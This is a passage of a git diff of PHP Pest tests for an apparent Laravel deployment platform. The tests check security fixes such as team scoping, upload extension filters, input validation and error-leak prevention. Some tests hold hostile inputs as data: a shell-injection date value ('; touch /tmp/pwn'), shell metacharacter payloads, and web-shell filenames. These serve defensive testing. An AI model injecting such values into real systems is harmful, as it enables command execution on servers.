}); + + test('creates backup without s3 storage', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [ + 'frequency' => 'daily', + ]); + + $response->assertStatus(201); + $response->assertJsonStructure(['uuid', 'message']); + }); + + test('rejects s3_storage_uuid from another team', function () { + $otherTeam = Team::factory()->create(); + $otherS3 = S3Storage::create([ + 'name' => 'other-s3', + 'region' => 'us-east-1', + 'key' => 'other-key', + 'secret' => 'other-secret', + 'bucket' => 'other-bucket', + 'endpoint' => 'https://s3.example.com', + 'team_id' => $otherTeam->id, + 'is_usable' => true, + ]); $response = $this->withHeaders([ 'Authorization' => 'Bearer '.$this->bearerToken, 'Content-Type' => 'application/json', - ])->postJson('/api/v1/databases/test-db-uuid/backups', [ - 'frequency' => 'daily', + ])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [ + 'frequency' => '0 2 * * 0', + 'save_s3' => true, + 's3_storage_uuid' => $otherS3->uuid, ]); - // Since we're mocking, this test verifies the endpoint exists and basic validation - // Full integration tests should be run in Docker environment - expect($response->status())->toBeIn([201, 404, 422]); + $response->assertStatus(422); + $response->assertJsonValidationErrors(['s3_storage_uuid']); }); test('validates frequency is required', function () { $response = $this->withHeaders([ 'Authorization' => 'Bearer '.$this->bearerToken, 'Content-Type' => 'application/json', - ])->postJson('/api/v1/databases/test-db-uuid/backups', [ + ])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [ 'enabled' => true, ]); @@ -63,83 +130,78 @@ $response = $this->withHeaders([ 'Authorization' => 'Bearer '.$this->bearerToken, 'Content-Type' => 'application/json', - ])->postJson('/api/v1/databases/test-db-uuid/backups', [ + ])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [ 'frequency' => 'daily', 'save_s3' => true, ]); - // Should fail validation because s3_storage_uuid is missing - expect($response->status())->toBeIn([404, 422]); - }); - - test('rejects invalid frequency format', function () { - $response = $this->withHeaders([ - 'Authorization' => 'Bearer '.$this->bearerToken, - 'Content-Type' => 'application/json', - ])->postJson('/api/v1/databases/test-db-uuid/backups', [ - 'frequency' => 'invalid-frequency', - ]); - - expect($response->status())->toBeIn([404, 422]); + $response->assertStatus(422); + $response->assertJsonValidationErrors(['s3_storage_uuid']); }); test('rejects request without authentication', function () { - $response = $this->postJson('/api/v1/databases/test-db-uuid/backups', [ + $response = $this->postJson("/api/v1/databases/{$this->database->uuid}/backups", [ 'frequency' => 'daily', ]); $response->assertStatus(401); }); +}); - test('validates retention fields are integers with minimum 0', function () { - $response = $this->withHeaders([ - 'Authorization' => 'Bearer '.$this->bearerToken, - 'Content-Type' => 'application/json', - ])->postJson('/api/v1/databases/test-db-uuid/backups', [ +describe('PATCH /api/v1/databases/{uuid}/backups/{scheduled_backup_uuid}', function () { + test('updates backup to use s3 storage via API token', function () { + $backup = ScheduledDatabaseBackup::create([ 'frequency' => 'daily', - 'database_backup_retention_amount_locally' => -1, + 'enabled' => true, + 'database_id' => $this->database->id, + 'database_type' => $this->database->getMorphClass(), + 'team_id' => $this->team->id, ]); - expect($response->status())->toBeIn([404, 422]); - }); - - test('accepts valid cron expressions', function () { $response = $this->withHeaders([ 'Authorization' => 'Bearer '.$this->bearerToken, 'Content-Type' => 'application/json', - ])->postJson('/api/v1/databases/test-db-uuid/backups', [ - 'frequency' => '0 2 * * *', // Daily at 2 AM + ])->patchJson("/api/v1/databases/{$this->database->uuid}/backups/{$backup->uuid}", [ + 'save_s3' => true, + 's3_storage_uuid' => $this->s3Storage->uuid, ]); - // Will fail with 404 because database doesn't exist, but validates the request format - expect($response->status())->toBeIn([201, 404, 422]); + $response->assertStatus(200); + $backup->refresh(); + expect($backup->s3_storage_id)->toBe($this->s3Storage->id); + expect($backup->save_s3)->toBeTrue(); }); - test('accepts predefined frequency values', function () { - $frequencies = ['every_minute', 'hourly', 'daily', 'weekly', 'monthly', 'yearly']; + test('rejects s3_storage_uuid from another team on update', function () { + $otherTeam = Team::factory()->create(); + $otherS3 = S3Storage::create([ + 'name' => 'other-s3', + 'region' => 'us-east-1', + 'key' => 'other-key', + 'secret' => 'other-secret', + 'bucket' => 'other-bucket', + 'endpoint' => 'https://s3.example.com', + 'team_id' => $otherTeam->id, + 'is_usable' => true, + ]); - foreach ($frequencies as $frequency) { - $response = $this->withHeaders([ - 'Authorization' => 'Bearer '.$this->bearerToken, - 'Content-Type' => 'application/json', - ])->postJson('/api/v1/databases/test-db-uuid/backups', [ - 'frequency' => $frequency, - ]); - - // Will fail with 404 because database doesn't exist, but validates the request format - expect($response->status())->toBeIn([201, 404, 422]); - } - }); - - test('rejects extra fields not in allowed list', function () { - $response = $this->withHeaders([ - 'Authorization' => 'Bearer '.$this->bearerToken, - 'Content-Type' => 'application/json', - ])->postJson('/api/v1/databases/test-db-uuid/backups', [ + $backup = ScheduledDatabaseBackup::create([ 'frequency' => 'daily', - 'invalid_field' => 'invalid_value', + 'enabled' => true, + 'database_id' => $this->database->id, + 'database_type' => $this->database->getMorphClass(), + 'team_id' => $this->team->id, ]); - expect($response->status())->toBeIn([404, 422]); + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$this->database->uuid}/backups/{$backup->uuid}", [ + 'save_s3' => true, + 's3_storage_uuid' => $otherS3->uuid, + ]); + + $response->assertStatus(422); + $response->assertJsonValidationErrors(['s3_storage_uuid']); }); }); diff --git a/tests/Feature/DatabaseBackupUploadValidationTest.php b/tests/Feature/DatabaseBackupUploadValidationTest.php new file mode 100644 index 000000000..a9d9886b8 --- /dev/null +++ b/tests/Feature/DatabaseBackupUploadValidationTest.php @@ -0,0 +1,62 @@ +setAccessible(true); + + return $method->invoke(null, $name); +} + +test('hasAllowedExtension accepts supported extensions', function (string $name) { + expect(invokeHasAllowedExtension($name))->toBeTrue(); +})->with([ + 'plain sql' => ['backup.sql'], + 'uppercase sql' => ['BACKUP.SQL'], + 'compound sql.gz' => ['backup.sql.gz'], + 'compound tar.gz' => ['backup.tar.gz'], + 'tgz' => ['archive.tgz'], + 'zip' => ['dump.zip'], + 'tar' => ['dump.tar'], + 'gz' => ['data.gz'], + 'dump' => ['data.dump'], + 'bak' => ['data.bak'], + 'bson' => ['data.bson'], + 'bson.gz' => ['data.bson.gz'], + 'archive' => ['data.archive'], + 'archive.gz' => ['data.archive.gz'], + 'bz2' => ['data.bz2'], + 'xz' => ['data.xz'], +]); + +test('hasAllowedExtension rejects unsupported or empty stems', function (string $name) { + expect(invokeHasAllowedExtension($name))->toBeFalse(); +})->with([ + 'php' => ['shell.php'], + 'phtml' => ['shell.phtml'], + 'sh' => ['run.sh'], + 'exe' => ['malware.exe'], + 'elf binary no ext' => ['payload'], + 'html' => ['index.html'], + 'bare compound without stem' => ['.sql.gz'], + 'bare extension' => ['.sql'], + 'empty string' => [''], + 'misleading double ext' => ['shell.php.sql-evil'], +]); + +test('MAX_BYTES constant is 10 GiB', function () { + $constant = (new ReflectionClass(UploadController::class))->getConstant('MAX_BYTES'); + expect($constant)->toBe(10 * 1024 * 1024 * 1024); +}); + +test('ALLOWED_EXTENSIONS does not include executable formats', function () { + $constant = (new ReflectionClass(UploadController::class))->getConstant('ALLOWED_EXTENSIONS'); + expect($constant)->toBeArray(); + + $forbidden = ['php', 'phtml', 'php5', 'sh', 'bash', 'exe', 'js', 'html', 'htm', 'pl', 'py']; + foreach ($forbidden as $bad) { + expect($constant)->not->toContain($bad); + } +}); diff --git a/tests/Feature/DevHelperVersionValidationTest.php b/tests/Feature/DevHelperVersionValidationTest.php new file mode 100644 index 000000000..03316598c --- /dev/null +++ b/tests/Feature/DevHelperVersionValidationTest.php @@ -0,0 +1,90 @@ +rootTeam = Team::find(0) ?? Team::create(['id' => 0, 'name' => 'Root Team', 'personal_team' => false]); + if (! Server::find(0)) { + Server::factory()->create(['id' => 0, 'team_id' => $this->rootTeam->id]); + } + if (! InstanceSettings::find(0)) { + InstanceSettings::create(['id' => 0]); + } + }); + Once::flush(); + + $this->user = User::factory()->create(); + $this->rootTeam->members()->attach($this->user->id, ['role' => 'admin']); + + $this->actingAs($this->user); + session(['currentTeam' => ['id' => $this->rootTeam->id]]); +}); + +test('dev_helper_version rejects values outside Docker tag grammar on save', function () { + $invalid = [ + 'latest with spaces', + 'a$b', + 'a`b', + 'a|b', + 'a;b', + 'a&b', + 'a>b', + 'aset('dev_helper_version', $payload) + ->call('instantSave') + ->assertHasErrors(['dev_helper_version']); + } + + expect(InstanceSettings::find(0)->dev_helper_version)->toBeNull(); +}); + +test('dev_helper_version accepts valid docker tag formats', function () { + $valid = ['1.0.12', 'latest', 'dev', 'dev-branch_2', 'v1.2.3-rc1', '1_0_0']; + + foreach ($valid as $tag) { + Livewire::test(Index::class) + ->set('dev_helper_version', $tag) + ->call('instantSave') + ->assertHasNoErrors(['dev_helper_version']); + + expect(InstanceSettings::find(0)->fresh()->dev_helper_version)->toBe($tag); + } +}); + +test('buildHelperImage refuses when non-dev environment', function () { + config(['app.env' => 'production']); + + Livewire::test(Index::class) + ->set('dev_helper_version', 'latest') + ->call('buildHelperImage') + ->assertDispatched('error'); +}); + +test('buildHelperImage refuses previously stored invalid version', function () { + config(['app.env' => 'local']); + + $settings = InstanceSettings::find(0); + $settings->forceFill(['dev_helper_version' => 'bad value'])->saveQuietly(); + + Livewire::test(Index::class) + ->call('buildHelperImage') + ->assertDispatched('error'); +}); diff --git a/tests/Feature/EmailVerificationHashTest.php b/tests/Feature/EmailVerificationHashTest.php new file mode 100644 index 000000000..5d42c4e44 --- /dev/null +++ b/tests/Feature/EmailVerificationHashTest.php @@ -0,0 +1,73 @@ +withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]); + Once::flush(); + if (! InstanceSettings::find(0)) { + $settings = new InstanceSettings; + $settings->id = 0; + $settings->saveQuietly(); + } +}); + +describe('email verification hash', function () { + test('sha256 hash is accepted and marks the user verified', function () { + $user = User::factory()->create([ + 'email' => 'verify-me@example.com', + 'email_verified_at' => null, + ]); + + $url = URL::temporarySignedRoute('verify.verify', now()->addHour(), [ + 'id' => $user->getKey(), + 'hash' => hash('sha256', $user->getEmailForVerification()), + ]); + + $this->actingAs($user)->get($url)->assertRedirect(); + + $user->refresh(); + expect($user->email_verified_at)->not->toBeNull(); + }); + + test('legacy sha1 hash is rejected', function () { + $user = User::factory()->create([ + 'email' => 'legacy-sha1@example.com', + 'email_verified_at' => null, + ]); + + $url = URL::temporarySignedRoute('verify.verify', now()->addHour(), [ + 'id' => $user->getKey(), + 'hash' => sha1($user->getEmailForVerification()), + ]); + + $this->actingAs($user)->get($url)->assertStatus(403); + + $user->refresh(); + expect($user->email_verified_at)->toBeNull(); + }); + + test('tampered signature is rejected', function () { + $user = User::factory()->create([ + 'email' => 'tampered@example.com', + 'email_verified_at' => null, + ]); + + $url = URL::temporarySignedRoute('verify.verify', now()->addHour(), [ + 'id' => $user->getKey(), + 'hash' => hash('sha256', $user->getEmailForVerification()), + ]); + + $tampered = $url.'x'; + + $this->actingAs($user)->get($tampered)->assertStatus(403); + }); +}); diff --git a/tests/Feature/FeedbackEndpointTest.php b/tests/Feature/FeedbackEndpointTest.php new file mode 100644 index 000000000..a2c603def --- /dev/null +++ b/tests/Feature/FeedbackEndpointTest.php @@ -0,0 +1,96 @@ + Http::response([], 204), + ]); +}); + +it('rejects feedback with missing content', function () { + $response = $this->postJson('/api/feedback', []); + + $response->assertStatus(422) + ->assertJsonValidationErrors('content'); +}); + +it('rejects feedback with content too short', function () { + $response = $this->postJson('/api/feedback', ['content' => 'short']); + + $response->assertStatus(422) + ->assertJsonValidationErrors('content'); +}); + +it('rejects feedback with content too long', function () { + $response = $this->postJson('/api/feedback', ['content' => str_repeat('a', 2001)]); + + $response->assertStatus(422) + ->assertJsonValidationErrors('content'); +}); + +it('rejects feedback with non-string content', function () { + $response = $this->postJson('/api/feedback', ['content' => ['array', 'value']]); + + $response->assertStatus(422) + ->assertJsonValidationErrors('content'); +}); + +it('accepts valid feedback and forwards to discord with mentions disabled', function () { + config()->set('constants.webhooks.feedback_discord_webhook', 'https://discord.com/api/webhooks/test'); + + $response = $this->postJson('/api/feedback', [ + 'content' => 'This is a valid feedback message for testing purposes.', + ]); + + $response->assertStatus(200) + ->assertJson(['message' => 'Feedback sent.']); + + Http::assertSent(function ($request) { + return $request->url() === 'https://discord.com/api/webhooks/test' + && $request['content'] === 'This is a valid feedback message for testing purposes.' + && $request['allowed_mentions'] === ['parse' => []]; + }); +}); + +it('does not forward to discord when webhook url is not configured', function () { + config()->set('constants.webhooks.feedback_discord_webhook', null); + + $response = $this->postJson('/api/feedback', [ + 'content' => 'This is a valid feedback message for testing purposes.', + ]); + + $response->assertStatus(200); + + Http::assertNothingSent(); +}); + +it('throttles feedback endpoint after 3 requests per minute', function () { + config()->set('constants.webhooks.feedback_discord_webhook', null); + + for ($i = 0; $i < 3; $i++) { + $response = $this->postJson('/api/feedback', [ + 'content' => "Valid feedback message number {$i} for testing.", + ]); + $response->assertStatus(200); + } + + $response = $this->postJson('/api/feedback', [ + 'content' => 'This fourth request should be throttled.', + ]); + $response->assertStatus(429); +}); + +it('disables discord mention parsing regardless of content', function () { + config()->set('constants.webhooks.feedback_discord_webhook', 'https://discord.com/api/webhooks/test'); + + $response = $this->postJson('/api/feedback', [ + 'content' => 'User feedback includes an @everyone style phrase and a link https://example.com for reference.', + ]); + + $response->assertStatus(200); + + Http::assertSent(function ($request) { + return $request['allowed_mentions'] === ['parse' => []]; + }); +}); diff --git a/tests/Feature/HetznerApiTest.php b/tests/Feature/HetznerApiTest.php index bd316ca49..b5950f9fc 100644 --- a/tests/Feature/HetznerApiTest.php +++ b/tests/Feature/HetznerApiTest.php @@ -446,3 +446,74 @@ $response->assertStatus(401); }); }); + +describe('error responses do not leak exception details', function () { + test('locations endpoint returns generic 500 message on upstream failure', function () { + Http::fake([ + 'https://api.hetzner.cloud/v1/locations*' => Http::response([ + 'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc /var/secret/path'], + ], 500), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->getJson('/api/v1/hetzner/locations?cloud_provider_token_id='.$this->hetznerToken->uuid); + + $response->assertStatus(500); + $response->assertExactJson(['message' => 'Failed to fetch Hetzner locations.']); + expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc'); + expect($response->getContent())->not->toContain('/var/secret/path'); + }); + + test('server-types endpoint returns generic 500 message on upstream failure', function () { + Http::fake([ + 'https://api.hetzner.cloud/v1/server_types*' => Http::response([ + 'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc'], + ], 500), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->getJson('/api/v1/hetzner/server-types?cloud_provider_token_id='.$this->hetznerToken->uuid); + + $response->assertStatus(500); + $response->assertExactJson(['message' => 'Failed to fetch Hetzner server types.']); + expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc'); + }); + + test('images endpoint returns generic 500 message on upstream failure', function () { + Http::fake([ + 'https://api.hetzner.cloud/v1/images*' => Http::response([ + 'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc'], + ], 500), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->getJson('/api/v1/hetzner/images?cloud_provider_token_id='.$this->hetznerToken->uuid); + + $response->assertStatus(500); + $response->assertExactJson(['message' => 'Failed to fetch Hetzner images.']); + expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc'); + }); + + test('ssh-keys endpoint returns generic 500 message on upstream failure', function () { + Http::fake([ + 'https://api.hetzner.cloud/v1/ssh_keys*' => Http::response([ + 'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc'], + ], 500), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->getJson('/api/v1/hetzner/ssh-keys?cloud_provider_token_id='.$this->hetznerToken->uuid); + + $response->assertStatus(500); + $response->assertExactJson(['message' => 'Failed to fetch Hetzner SSH keys.']); + expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc'); + }); +}); diff --git a/tests/Feature/LinkLoginEmailVerificationTest.php b/tests/Feature/LinkLoginEmailVerificationTest.php new file mode 100644 index 000000000..036584e1e --- /dev/null +++ b/tests/Feature/LinkLoginEmailVerificationTest.php @@ -0,0 +1,60 @@ +withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]); + Once::flush(); + if (! InstanceSettings::find(0)) { + $settings = new InstanceSettings; + $settings->id = 0; + $settings->saveQuietly(); + } +}); + +describe('invitation link login', function () { + test('does not auto-verify the email address', function () { + $team = Team::factory()->create(); + $password = 'test-password-123'; + $user = User::factory()->create([ + 'email' => 'invitee@example.com', + 'password' => Hash::make($password), + 'email_verified_at' => null, + ]); + $user->teams()->attach($team->id, ['role' => 'member']); + + $token = Crypt::encryptString("{$user->email}@@@{$password}"); + + $this->get(route('auth.link', ['token' => $token])); + + $user->refresh(); + expect($user->email_verified_at)->toBeNull(); + }); + + test('still logs the user in', function () { + $team = Team::factory()->create(); + $password = 'test-password-123'; + $user = User::factory()->create([ + 'email' => 'invitee2@example.com', + 'password' => Hash::make($password), + 'email_verified_at' => null, + ]); + $user->teams()->attach($team->id, ['role' => 'member']); + + $token = Crypt::encryptString("{$user->email}@@@{$password}"); + + $this->get(route('auth.link', ['token' => $token])); + + expect(auth()->id())->toBe($user->id); + }); +}); diff --git a/tests/Feature/OauthControllerTest.php b/tests/Feature/OauthControllerTest.php new file mode 100644 index 000000000..af5fb0658 --- /dev/null +++ b/tests/Feature/OauthControllerTest.php @@ -0,0 +1,79 @@ + 0, + 'is_registration_enabled' => false, + ]); + + OauthSetting::create([ + 'provider' => 'google', + 'client_id' => 'client-id', + 'client_secret' => 'client-secret', + 'redirect_uri' => 'https://coolify.example.com/auth/google/callback', + 'tenant' => 'example.com', + ]); +}); + +it('logs in an existing user when the oauth provider returns a mixed-case email', function () { + config()->set('app.maintenance.driver', 'file'); + + $user = User::factory()->create([ + 'email' => 'username@example.edu', + ]); + + $provider = \Mockery::mock(); + $provider->shouldReceive('setConfig')->once()->andReturnSelf(); + $provider->shouldReceive('with')->once()->with(['hd' => 'example.com'])->andReturnSelf(); + $provider->shouldReceive('user')->once()->andReturn((object) [ + 'email' => 'UserName@example.edu', + 'name' => 'Example User', + 'id' => 'google-user-id', + ]); + + Socialite::shouldReceive('driver')->once()->with('google')->andReturn($provider); + + $response = $this->get(route('auth.callback', 'google')); + + $response->assertRedirect('/'); + $this->assertAuthenticatedAs($user); + expect(User::count())->toBe(1); +}); + +it('rejects oauth logins when the provider does not return an email address', function (?string $providerEmail) { + config()->set('app.maintenance.driver', 'file'); + InstanceSettings::firstOrCreate([ + 'id' => 0, + ], [ + 'is_registration_enabled' => false, + ])->update([ + 'is_registration_enabled' => true, + ]); + + $provider = \Mockery::mock(); + $provider->shouldReceive('setConfig')->once()->andReturnSelf(); + $provider->shouldReceive('with')->once()->with(['hd' => 'example.com'])->andReturnSelf(); + $provider->shouldReceive('user')->once()->andReturn((object) [ + 'email' => $providerEmail, + 'name' => 'Example User', + 'id' => 'google-user-id', + ]); + + Socialite::shouldReceive('driver')->once()->with('google')->andReturn($provider); + + $response = $this->from('/login')->get(route('auth.callback', 'google')); + + $response->assertRedirect('/login'); + expect(User::count())->toBe(0); +})->with([ + 'null email' => [null], + 'blank email' => [' '], +]); diff --git a/tests/Feature/RealtimeTerminalPackagingTest.php b/tests/Feature/RealtimeTerminalPackagingTest.php index e8fa5ff76..ba01deca5 100644 --- a/tests/Feature/RealtimeTerminalPackagingTest.php +++ b/tests/Feature/RealtimeTerminalPackagingTest.php @@ -32,3 +32,75 @@ ->toContain('if (!terminalDebugEnabled) {') ->not->toContain("console.log('Coolify realtime terminal server listening on port 6002. Let the hacking begin!');"); }); + +it('configures a server-initiated WebSocket heartbeat to survive proxy idle timeouts', function () { + $terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js')); + + expect($terminalServer) + ->toContain('ws.isAlive = true;') + ->toContain("ws.on('pong'") + ->toContain('ws.ping();') + ->toContain('ws.terminate();') + ->toContain('HEARTBEAT_INTERVAL_MS'); +}); + +it('removes the keepalive short-circuit that fired when the tab was hidden', function () { + $terminalClient = file_get_contents(base_path('resources/js/terminal.js')); + + expect($terminalClient) + ->not->toContain('// Skip keepalive when document is hidden to prevent unnecessary disconnects'); +}); + +it('uses a fast probe timeout when the tab regains visibility', function () { + $terminalClient = file_get_contents(base_path('resources/js/terminal.js')); + + expect($terminalClient) + ->toContain("'Visibility-resume timeout'"); +}); + +it('closes idle terminal sessions after 30 minutes on the server', function () { + $terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js')); + + expect($terminalServer) + ->toContain('IDLE_TIMEOUT_MS = 30 * 60 * 1000') + ->toContain('lastActivityAt') + ->toContain("ws.send('idle-timeout');") + ->toContain("ws.close(1000, 'Idle timeout');"); +}); + +it('reacts to idle-timeout sentinel on the client and shows a user-facing error', function () { + $terminalClient = file_get_contents(base_path('resources/js/terminal.js')); + + expect($terminalClient) + ->toContain("event.data === 'idle-timeout'") + ->toContain('Terminal closed after 30 minutes of inactivity.'); +}); + +it('replays the last command on reconnect so the PTY respawns automatically', function () { + $terminalClient = file_get_contents(base_path('resources/js/terminal.js')); + + expect($terminalClient) + ->toContain('lastSentCommand') + ->toContain('Replaying last command after reconnect.') + ->toContain('this.lastSentCommand = null;'); +}); + +it('buffers messages received before the realtime server finishes auth so the replay is not lost', function () { + $terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js')); + + expect($terminalServer) + ->toContain('authReady: false') + ->toContain('pendingMessages: []') + ->toContain('userSession.pendingMessages.push(message)') + ->toContain('userSession.authReady = true'); +}); + +it('preserves terminal scrollback across transient reconnects', function () { + $terminalClient = file_get_contents(base_path('resources/js/terminal.js')); + + expect($terminalClient) + ->toContain('── Connection lost at') + ->toContain('── Reconnected at') + // resetTerminal must NOT call term.reset()/term.clear() any more — those wipe scrollback. + ->not->toContain("this.term.reset();\n this.term.clear();"); +}); diff --git a/tests/Feature/ScheduledLogsCommandInputTest.php b/tests/Feature/ScheduledLogsCommandInputTest.php new file mode 100644 index 000000000..83f313d80 --- /dev/null +++ b/tests/Feature/ScheduledLogsCommandInputTest.php @@ -0,0 +1,35 @@ +withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]); + Once::flush(); + if (! InstanceSettings::find(0)) { + $settings = new InstanceSettings; + $settings->id = 0; + $settings->saveQuietly(); + } +}); + +describe('logs:scheduled --date option', function () { + test('rejects a malformed date and exits before touching the shell', function () { + $this->artisan('logs:scheduled', ['--date' => '2025-01-01; touch /tmp/pwn']) + ->expectsOutputToContain('Invalid date format') + ->assertExitCode(ViewScheduledLogs::INVALID); + + expect(file_exists('/tmp/pwn'))->toBeFalse(); + }); + + test('accepts a well-formed date', function () { + $this->artisan('logs:scheduled', ['--date' => '2025-01-01']) + ->assertExitCode(0); + }); +}); diff --git a/tests/Feature/TeamScopedBackupStorageTest.php b/tests/Feature/TeamScopedBackupStorageTest.php new file mode 100644 index 000000000..57a065ae8 --- /dev/null +++ b/tests/Feature/TeamScopedBackupStorageTest.php @@ -0,0 +1,106 @@ + InstanceSettings::query()->create(['id' => 0])); + + $this->userA = User::factory()->create(); + $this->teamA = Team::factory()->create(); + $this->userA->teams()->attach($this->teamA, ['role' => 'owner']); + + $this->userB = User::factory()->create(); + $this->teamB = Team::factory()->create(); + $this->userB->teams()->attach($this->teamB, ['role' => 'owner']); + + $this->storageA = S3Storage::unguarded(fn () => S3Storage::create([ + 'uuid' => fake()->uuid(), + 'name' => 'storage-a-'.fake()->unique()->word(), + 'region' => 'us-east-1', + 'key' => 'key-a', + 'secret' => 'secret-a', + 'bucket' => 'bucket-a', + 'endpoint' => 'https://s3.example.com', + 'team_id' => $this->teamA->id, + ])); + + $this->storageB = S3Storage::unguarded(fn () => S3Storage::create([ + 'uuid' => fake()->uuid(), + 'name' => 'storage-b-'.fake()->unique()->word(), + 'region' => 'us-east-1', + 'key' => 'key-b', + 'secret' => 'secret-b', + 'bucket' => 'bucket-b', + 'endpoint' => 'https://s3.example.com', + 'team_id' => $this->teamB->id, + ])); + + $this->backupA = ScheduledDatabaseBackup::create([ + 'uuid' => fake()->uuid(), + 'team_id' => $this->teamA->id, + 'enabled' => true, + 'save_s3' => true, + 'frequency' => '0 0 * * *', + 'database_type' => 'App\\Models\\StandalonePostgresql', + 'database_id' => 1, + 's3_storage_id' => $this->storageA->id, + ]); + + $this->backupB = ScheduledDatabaseBackup::create([ + 'uuid' => fake()->uuid(), + 'team_id' => $this->teamB->id, + 'enabled' => true, + 'save_s3' => true, + 'frequency' => '0 0 * * *', + 'database_type' => 'App\\Models\\StandalonePostgresql', + 'database_id' => 2, + 's3_storage_id' => $this->storageB->id, + ]); + + $this->actingAs($this->userA); + session(['currentTeam' => $this->teamA]); +}); + +describe('Storage/Resources team-scoped backup access', function () { + test('disableS3 on other team backup throws and leaves row unchanged', function () { + expect(fn () => Livewire::test(StorageResources::class, ['storage' => $this->storageA]) + ->call('disableS3', $this->backupB->id)) + ->toThrow(ModelNotFoundException::class); + + $this->backupB->refresh(); + expect((bool) $this->backupB->save_s3)->toBeTrue(); + expect($this->backupB->s3_storage_id)->toBe($this->storageB->id); + }); + + test('moveBackup on other team backup throws and leaves row unchanged', function () { + expect(fn () => Livewire::test(StorageResources::class, ['storage' => $this->storageA]) + ->set('selectedStorages', [$this->backupB->id => $this->storageA->id]) + ->call('moveBackup', $this->backupB->id)) + ->toThrow(ModelNotFoundException::class); + + $this->backupB->refresh(); + expect($this->backupB->s3_storage_id)->toBe($this->storageB->id); + }); + + test('disableS3 on own backup succeeds', function () { + Livewire::test(StorageResources::class, ['storage' => $this->storageA]) + ->call('disableS3', $this->backupA->id); + + $this->backupA->refresh(); + expect((bool) $this->backupA->save_s3)->toBeFalse(); + expect($this->backupA->s3_storage_id)->toBeNull(); + }); +}); diff --git a/tests/Feature/TeamScopedDestinationTest.php b/tests/Feature/TeamScopedDestinationTest.php new file mode 100644 index 000000000..bdac0251d --- /dev/null +++ b/tests/Feature/TeamScopedDestinationTest.php @@ -0,0 +1,297 @@ + InstanceSettings::query()->create(['id' => 0])); + + $this->userA = User::factory()->create(); + $this->teamA = Team::factory()->create(); + $this->userA->teams()->attach($this->teamA, ['role' => 'owner']); + + $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]); + $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]); + $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]); + $this->destinationA = StandaloneDocker::factory()->create([ + 'server_id' => $this->serverA->id, + 'name' => 'dest-a-'.fake()->unique()->word(), + 'network' => 'coolify-a-'.fake()->unique()->word(), + ]); + + $this->userB = User::factory()->create(); + $this->teamB = Team::factory()->create(); + $this->userB->teams()->attach($this->teamB, ['role' => 'owner']); + + $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]); + $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]); + $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]); + $this->destinationB = StandaloneDocker::factory()->create([ + 'server_id' => $this->serverB->id, + 'name' => 'dest-b-'.fake()->unique()->word(), + 'network' => 'coolify-b-'.fake()->unique()->word(), + ]); + $this->swarmDestinationB = SwarmDocker::create([ + 'uuid' => fake()->uuid(), + 'name' => 'swarm-b-'.fake()->unique()->word(), + 'network' => 'swarm-b-'.fake()->unique()->word(), + 'server_id' => $this->serverB->id, + ]); + + $this->actingAs($this->userA); + session(['currentTeam' => $this->teamA]); +}); + +describe('find_destination_for_current_team helper', function () { + test('returns null for other team destination UUID', function () { + expect(find_destination_for_current_team($this->destinationB->uuid))->toBeNull(); + }); + + test('returns null for other team swarm destination UUID', function () { + expect(find_destination_for_current_team($this->swarmDestinationB->uuid))->toBeNull(); + }); + + test('returns own team destination', function () { + $found = find_destination_for_current_team($this->destinationA->uuid); + expect($found)->not->toBeNull(); + expect($found->id)->toBe($this->destinationA->id); + }); + + test('returns null for blank uuid', function () { + expect(find_destination_for_current_team(null))->toBeNull(); + expect(find_destination_for_current_team(''))->toBeNull(); + }); +}); + +describe('SimpleDockerfile destination team scope', function () { + test('submit with other team destination throws and creates no application', function () { + $routeParams = [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + ]; + request()->headers->set('referer', route('project.resource.create', $routeParams).'?destination='.$this->destinationB->uuid); + + $before = Application::count(); + + expect(fn () => Livewire::withUrlParams(['destination' => $this->destinationB->uuid]) + ->test(SimpleDockerfile::class, $routeParams) + ->set('dockerfile', "FROM nginx\nCMD [\"nginx\"]\n") + ->call('submit')) + ->toThrow(Exception::class, 'Destination not found.'); + + expect(Application::count())->toBe($before); + }); +}); + +describe('DockerImage destination team scope', function () { + test('submit with other team destination throws and creates no application', function () { + $routeParams = [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + ]; + + $before = Application::count(); + + expect(fn () => Livewire::withUrlParams(['destination' => $this->destinationB->uuid]) + ->test(DockerImage::class, $routeParams) + ->set('imageName', 'nginx') + ->set('imageTag', 'latest') + ->call('submit')) + ->toThrow(Exception::class, 'Destination not found.'); + + 